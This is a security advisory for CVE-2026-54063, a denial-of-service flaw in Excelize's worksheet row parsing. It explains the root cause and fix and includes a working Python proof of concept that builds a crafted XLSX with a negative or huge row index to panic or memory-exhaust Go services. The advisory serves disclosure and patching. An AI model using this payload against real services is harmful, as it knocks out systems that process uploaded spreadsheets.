high · 7.5CVE-2026-54063Jul 10, 2026

CVE-2026-54063: Excelize Unbounded Row Allocation DoS in Worksheet Parser

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted XLSX file with a malicious row index value can crash or memory-exhaust any Go service that uses Excelize to open untrusted spreadsheets, requiring no authentication.

Packagegithub.com/xuri/excelize/v2
Ecosystemgo
Affected< 2.11.0
Fixed in2.11.0

The problem

The `checkSheet()` function in `github.com/xuri/excelize/v2` reads the `<row r="N">` attribute from worksheet XML and passes it directly to `make([]xlsxRow, row)` with no bounds check against the Excel row limit (`TotalRows = 1,048,576`).

Two crash paths exist. Setting `r=2147483647` forces a ~16 GB allocation attempt, killing the process via OOM. Setting `r=-1` causes the second loop in `checkSheet()` to index `sheetData.Row[-2]`, triggering a `runtime error: index out of range [-2]` panic. Any API that calls `workSheetReader` internally is affected, including `GetCellValue`, `GetRows`, and `GetCols`.

Proof of concept

A working proof-of-concept for CVE-2026-54063 in github.com/xuri/excelize/v2, with the exact payload below.

python
import zipfile

# Variant B: runtime panic (index out of range [-2])
# Change row to "2147483647" for Variant A (OOM kill)
row = "-1"

CONTENT_TYPES = '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''

RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''

WORKBOOK = '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''

WORKBOOK_RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>'''

SHEET = f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>'''

with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml",         CONTENT_TYPES)
    z.writestr("_rels/.rels",                 RELS)
    z.writestr("xl/workbook.xml",             WORKBOOK)
    z.writestr("xl/_rels/workbook.xml.rels",  WORKBOOK_RELS)
    z.writestr("xl/worksheets/sheet1.xml",    SHEET)

# --- trigger (Go) ---
# f, _ := excelize.OpenFile("malicious.xlsx")
# f.GetCellValue("Sheet1", "A1")  // panics: index out of range [-2]

The root cause is CWE-770: the `checkSheet()` loop accumulates the maximum `r` value from attacker-controlled XML, then calls `make([]xlsxRow, row)` at `excelize.go:377` before any validation. The constant `TotalRows = 1048576` exists in `templates.go` but was never applied at this sink.

For `r=-1`, the accumulation condition `r.R != 0` skips the value, leaving `row=0` and allocating an empty slice. The second loop then evaluates `sheetData.Row[r.R-1]` which is `sheetData.Row[-2]`, an out-of-bounds index that panics immediately.

The patch in v2.11.0 adds explicit guards before the `make()` call: it returns `newInvalidRowNumberError` for any `r.R < 0` and returns `ErrMaxRows` for any `r.R > TotalRows`, so neither boundary can reach the allocation.

The fix

Upgrade to `github.com/xuri/excelize/v2` v2.11.0. The fix adds row-number validation in `checkSheet()` before the `make()` call, rejecting any `<row r>` value that is negative or exceeds the Excel limit of 1,048,576. If you process untrusted XLSX uploads and cannot upgrade immediately, reject files server-side before passing them to `OpenFile` or `OpenReader`.

Reporter not attributed.

References: [1][2][3][4]

Related research